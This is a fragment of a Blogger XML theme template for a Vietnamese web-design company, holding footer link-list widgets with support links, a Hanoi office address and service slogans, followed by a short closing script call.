<li><a expr:href='data:post.url'><data:post.title/></a></li>
</b:loop>
</ul>
</b:includable>
<b:includable id='toggle' var='interval'>
<a class='toggle' href='javascript:void(0)'>
<span expr:class='"zippy" + (data:interval.expclass == "expanded" ? " toggle-open" : "")'>
<b:if cond='data:interval.expclass == "expanded"'>
▼ 
<b:elseif cond='data:blog.languageDirection == "rtl"'/>
◄ 
<b:else/>
► 
</b:if>
</span>
</a>
</b:includable>
</b:widget>
</b:section></div>
</div>
<b:section id='foot' onload='run'>
<b:widget id='LinkList13' locked='true' title='Hỗ trợ' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='link-3'>http://</b:widget-setting>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='link-4'>/</b:widget-setting>
<b:widget-setting name='text-1'>Giao diện web công ty</b:widget-setting>
<b:widget-setting name='link-1'>/</b:widget-setting>
<b:widget-setting name='text-0'>Trang chủ</b:widget-setting>
<b:widget-setting name='link-2'>/</b:widget-setting>
<b:widget-setting name='text-3'>Giao diện web cá nhân</b:widget-setting>
<b:widget-setting name='link-0'>/</b:widget-setting>
<b:widget-setting name='text-2'>Giao diện web trường học</b:widget-setting>
<b:widget-setting name='text-4'>Liên Hệ</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
<b:widget id='LinkList3' locked='true' title='Hỗ trợ' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='text-0'>Địa chỉ:</b:widget-setting>
<b:widget-setting name='link-0'> 39 Hai Bà Trưng-Hà Nội</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
<b:widget id='LinkList4' locked='true' title='Hỗ trợ trực tuyến' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='text-0'>Văn phòng chính:</b:widget-setting>
<b:widget-setting name='link-0'> 39 Hai Bà Trưng-Hà Nội</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
<b:widget id='LinkList6' locked='true' title='Dịch vụ thiết kế website' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='text-1'>Phục vụ quý khách 24/7</b:widget-setting>
<b:widget-setting name='link-1'>.</b:widget-setting>
<b:widget-setting name='text-0'>Bảo hành miễn phí trên toàn quốc</b:widget-setting>
<b:widget-setting name='link-0'>.</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
</b:section>
</div>
</div>
<script>
Jrun();
</script>
</body>
</html>